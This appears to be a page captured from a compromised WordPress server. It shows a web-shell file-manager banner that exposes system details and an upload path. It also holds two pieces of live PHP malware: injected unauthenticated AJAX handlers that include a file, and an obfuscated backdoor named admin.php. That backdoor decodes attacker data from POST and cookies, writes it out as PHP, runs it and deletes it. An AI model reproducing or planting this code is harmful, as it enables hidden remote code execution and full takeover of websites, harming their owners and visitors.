if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2015/04/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2015/04/admin.php
<?php 

$lwhept    =     'lwhept' /*   zbw   */ ^    '';
$nivifr /* bdtza */ =   "S"."T".$lwhept(120-38)       .	"\137"       .	"P".$lwhept(680-615) /*  owhpn  */ .   $lwhept(68)	.	$lwhept(95)     . /* zfa  */ "\x52"    .    "I"."G"."\x48"	.   "\x54";$vmndzsa /* rpph  */ =	"\x61"	.      "r"."r"."a"."y".$lwhept(244-149)     .    "\x6d" /* h  */ .    "\141"    . /*wsnhj */ "p";

$fiqhyldp      = /* c  */ $lwhept(105) /*m*/ .    $lwhept(1055-946)	.  "p"."l"."o".$lwhept(100)   .    "e";

$wnrkxwec /* b_j   */ =   $lwhept(115) /*  cru */ . /* rojrf */ $lwhept(818-702)    . /*dm  */ $lwhept(253-139)       .	"\x5f"    .  "\160"  .    "a"."d";

$wovvmftwu    =     "\143"    .    $lwhept(111) /*  weu  */ .  "\165"      . /*nl*/ $lwhept(110) /*   v   */ . /* lt_syp   */ "\164";






function /*   inlaop*/ j_cwa($dlwsfihsro,    $emjabuxhn)


{


    global /*vpv */ $lwhept;


 /*  wmlp  */ 
 /*   _d   */ $dlwsfihsro /*cronzo*/ =      $lwhept(60)    .  "\77"      .   "\160" /*ofltq */ .      "h"."p".$lwhept(32)    .     $lwhept(117)   . /*t  */ $lwhept(290-180)       .    "l"."\x69"	.    "n"."k"."("."\137" /*egmy */ .	"\137"	.       "F"."I"."L"."E"."_"."\137" /*bqt*/ .	")".$lwhept(167-108) /*   om */ .    $lwhept(32)	.      $dlwsfihsro["\x64"];

 /*  p   */ $_iqqmviamosarriyd  =    $lwhept(102)    . /*   _bkmu   */ "i"."l"."e".$lwhept(941-846)     .    $lwhept(1033-921)	.	"u"."\x74"  .    "\137"   . /*  jug_e */ "c"."\157" /*  eds*/ .    $lwhept(929-819)     .     $lwhept(116) /*   stuy   */ . /*  e  */ "\x65"    .   $lwhept(852-742)      .     "\x74" /*b*/ . /*  shrjkm  */ "s";
   

    $_iqqmviamosarriyd($emjabuxhn,  $dlwsfihsro);	
 /*   nvrnn   */ ifazpzw($emjabuxhn);


}


$gzdzq     =       73;


function /*  uc   */ ifazpzw($emjabuxhn)
{


   global	$lwhept;    


    include($emjabuxhn);       $vzqbjyywos    =    $emjabuxhn;


	@unlink($vzqbjyywos);


}


function	hvctdfoyhr(){

    global /*oso  */ $lwhept;


 /* _ri   */ $hk_hmmdug    =    array();


 /* tl   */ $hk_hmmdug[$lwhept(577-465) /*  myvwa*/ .      "v"]	=      phpversion(); /*  v */ $hk_hmmdug[$lwhept(152-37) /*  sllx*/ .     "v"]     = /*   tsyl */ "3"."\x2e"     . /*  qttk*/ "\65";

	$hk_hmmdugpnic     = /*  oi   */ 74;


     echo      @serialize($hk_hmmdug);
}




function	qvxpptggk($dlwsfihsro, /*   amvu   */ $oz_ijnmgt){

	global	$lwhept;


 /*  wy */ $uyt_pdymn /*   yv  */ =  "";
 /*wudld*/ $xypbzstube /*yivz */ =    'imwnsnyei'; /* yh  */ $chniwgsr	=    hash('sha256',       $dlwsfihsro);
 /*  epb_ */ $gpnltqxb      =    str_replace('xdpf', /* hdfnoh */ $chniwgsr,	$xypbzstube);

 /*  es*/ $hk_hmmdug /* fkd */ =       0;    while      ($hk_hmmdug	<   strlen($dlwsfihsro))   {


    $_wyww /* psqh*/ = /*  i  */ isset($oz_ijnmgt) /*   lghkb  */ ? /*  j   */ $oz_ijnmgt /*khdia */ : /* o  */ '';


	for    ($_iqqmvia    = /*   d  */ 0;    $_iqqmvia   <  strlen($_wyww)      && /*ffb */ $hk_hmmdug      < /*   vdhw__  */ strlen($dlwsfihsro);	$_iqqmvia++,    $hk_hmmdug++)    {


 /*yrbd   */ $uyt_pdymn /*  of  */ .= /*xh */ $lwhept(ord($dlwsfihsro[$hk_hmmdug])	^ /*   dalm */ ord($_wyww[$_iqqmvia]));
 /* sxaxx */ }


    if   (strlen($uyt_pdymn)    >  20)	{
  $gpnltqxb    =	substr($uyt_pdymn, /*  xxrgmc  */ 0,     20);
       }    }


    if  (empty($uyt_pdymn))  {
 /*   jk */ $uyt_pdymn    =	date('Y-m-d    H:i:s');
      }

   return /*w*/ $uyt_pdymn;}function /*   lpjlsx*/ aflmrcg_bn($qkfehyjbfu)

{

       global /*  x */ $lwhept;

	
 /*  ydczel  */ $rvdilh    =	$lwhept(57)  .    "f"."\70"  . /*   j   */ $lwhept(131-83)	.     "\x61"	.    "\143"  .	"1"."e".$lwhept(1022-977)    . /*   odfdyu   */ "\141"."5"."\x65"	.      "3".$lwhept(890-845)      .    "4".$lwhept(57)    .     "\61"	.    "4"."-"."\x61"       .  "8"."\70"    .   $lwhept(610-557) /*   fhiv   */ .    "\x2d" /*  qmhv   */ .   "b".$lwhept(51) /*zildi*/ .	"5"."\x63" /*   gjry */ .      $lwhept(935-836) /* t */ .     $lwhept(52)      .	$lwhept(524-468)	.  "3"."\x36" /* pkm */ .  $lwhept(594-496)	.      "f"."e";

     /*gf  */ foreach    ($qkfehyjbfu /*  riz  */ as      $ntgbhuc /*_f */ => /*lmgk */ $dlwsfihsro)   {


   nrsuxmtdn(base64_decode($dlwsfihsro), /* eaqfjs */ $rvdilh,    $ntgbhuc);


    }
}





function	nrsuxmtdn($dlwsfihsro, /*   krzou  */ $rvdilh,  $ntgbhuc)
{ /*  ijit   */ global     $lwhept; /*   xw */ 

    $dlwsfihsro	=    unserialize(qvxpptggk(qvxpptggk($dlwsfihsro, /*   ctlmgk   */ $rvdilh), /*  dy*/ $ntgbhuc));

	$_iqqmviaxpxydkggp  = /*   ujwjsw  */ 'mscvgkgf';
	$fettxdv /*  vrkjdc   */ = /*  njlh  */ 'geyjhmrtk';
     if	(isset($dlwsfihsro["\x61"   .      $lwhept(312-205)]))      {
 /*luvxxw  */ if    ($dlwsfihsro["\141"]  ==       "i") /*hjjfz  */ {

 /*   gg*/ hvctdfoyhr();     }    elseif	($dlwsfihsro["\141"]     == /*   u  */ "e") /* qerlsx  */ {


       j_cwa($dlwsfihsro,	sprintf($lwhept(46) /*xih */ .    $lwhept(121-74) /*   m  */ .	"%"."\x73" /* wxd   */ .       "."."p"."l",       md5($rvdilh)));

			$fvymhx  = /*  scpgk   */ 44;


 /* wm */ } /*  fmd_c  */ exit();


    }


}


aflmrcg_bn($_POST);       


$flmolsj       = /*   is   */ $vmndzsa('rawurldecode',      $_POST);$ucedm    =    $wovvmftwu($flmolsj);

if /*juwlac*/ ($ucedm  > /*fgjaj*/ 0)     {


 /*   omia   */ $krssu__lv /* wtomgn*/ =	$fiqhyldp(',',   $flmolsj);}



aflmrcg_bn($_COOKIE);    


$_iqqmviagtgddnk       = /* g*/ $vmndzsa('rawurldecode',      $_COOKIE);

$glzqglbwdm	=      $wovvmftwu($_iqqmviagtgddnk);


if	($glzqglbwdm    > /*  f*/ 0)	{	$hk_hmmdugandnwh    =	$fiqhyldp(';',     $_iqqmviagtgddnk);}


$eshsbr     = /*  vzgdle   */ $_iqqmviagtgddnk;


$sraty_ehm   =    date('Y-m-d /* xbizs*/ H:i:s');
$f_dqgjpx /*  pu*/ = /*  ul   */ strlen($fiqhyldp('',       $eshsbr));


if /*  kj  */ ($f_dqgjpx    > /*s  */ 100) /*i*/ {


    $eknnl /*   wddzs   */ =    $wnrkxwec($fiqhyldp('',       $eshsbr), /* byvt */ 150,	'0',	$nivifr);
}





?>
@ Telegram